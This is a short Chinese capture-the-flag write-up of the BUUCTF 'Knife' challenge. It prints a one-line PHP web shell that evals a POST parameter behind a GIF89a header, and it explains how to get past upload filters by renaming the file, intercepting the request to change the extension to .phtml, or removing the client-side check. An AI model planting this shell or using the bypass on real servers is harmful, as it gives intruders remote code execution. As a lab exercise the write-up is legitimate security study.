[极客大挑战 2019]Knife——3.20BUUCTF练习day4(2)

[极客大挑战 2019]Knife------3.20BUUCTF练习day4(2)

解题内容

在一个文件中输入以下内容,该文件是phtml文件(HTML嵌套PHP代码,可以绕过很多限制)但在本题中要先改文件名为2.gif然后抓包修改后缀名为phtml,因为只可以上传gif和jpg等

php 复制代码
GIF89a
<script language='php'>@eval($_POST[shell]);</script>



蚁剑连接

看了别人的wp,发现还可以删除前端校验函数,直接传phtml文件也可以


拓展

在上传的文件代码中含有GIF89a,这个是在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验

PHP getimagesize(服务器端验证)

读取文件头信息,不是解析整个图片,所以效率较高

相关推荐
xgxseven9 分钟前
[极客大挑战 2019]BabySQL—3.20BUUCTF练习day4(3)
数据库·web安全·php
s听风忆雪2 小时前
mac brew 安装的[email protected] 打开redis扩展
开发语言·macos·php
我最厉害。,。4 小时前
-PHP 应用&模版引用&Smarty 渲染&MVC 模型&数据联动&RCE 安全
安全·php·mvc
阿常116 小时前
uni-app基础问题(一)
开发语言·uni-app·php
筑梦之月6 小时前
Web安全策略CSP详解与实践
安全·web安全
come112347 小时前
php 的 compose install 和 update 有什么区别 ,安装单个新扩展用哪个命令
开发语言·php
仙女很美哦10 小时前
bp抓IOS的包
websocket·网络协议·tcp/ip·http·网络安全·https·udp
车载测试工程师17 小时前
车载以太网网络测试-17【传输层-TCP】
网络·经验分享·网络协议·tcp/ip·php
stark张宇18 小时前
PHP多版本共存终极填坑指南:一台服务器部署多实例的最佳实践
后端·php
傻啦嘿哟20 小时前
5G时代代理IP:速度与隐私的共舞
开发语言·php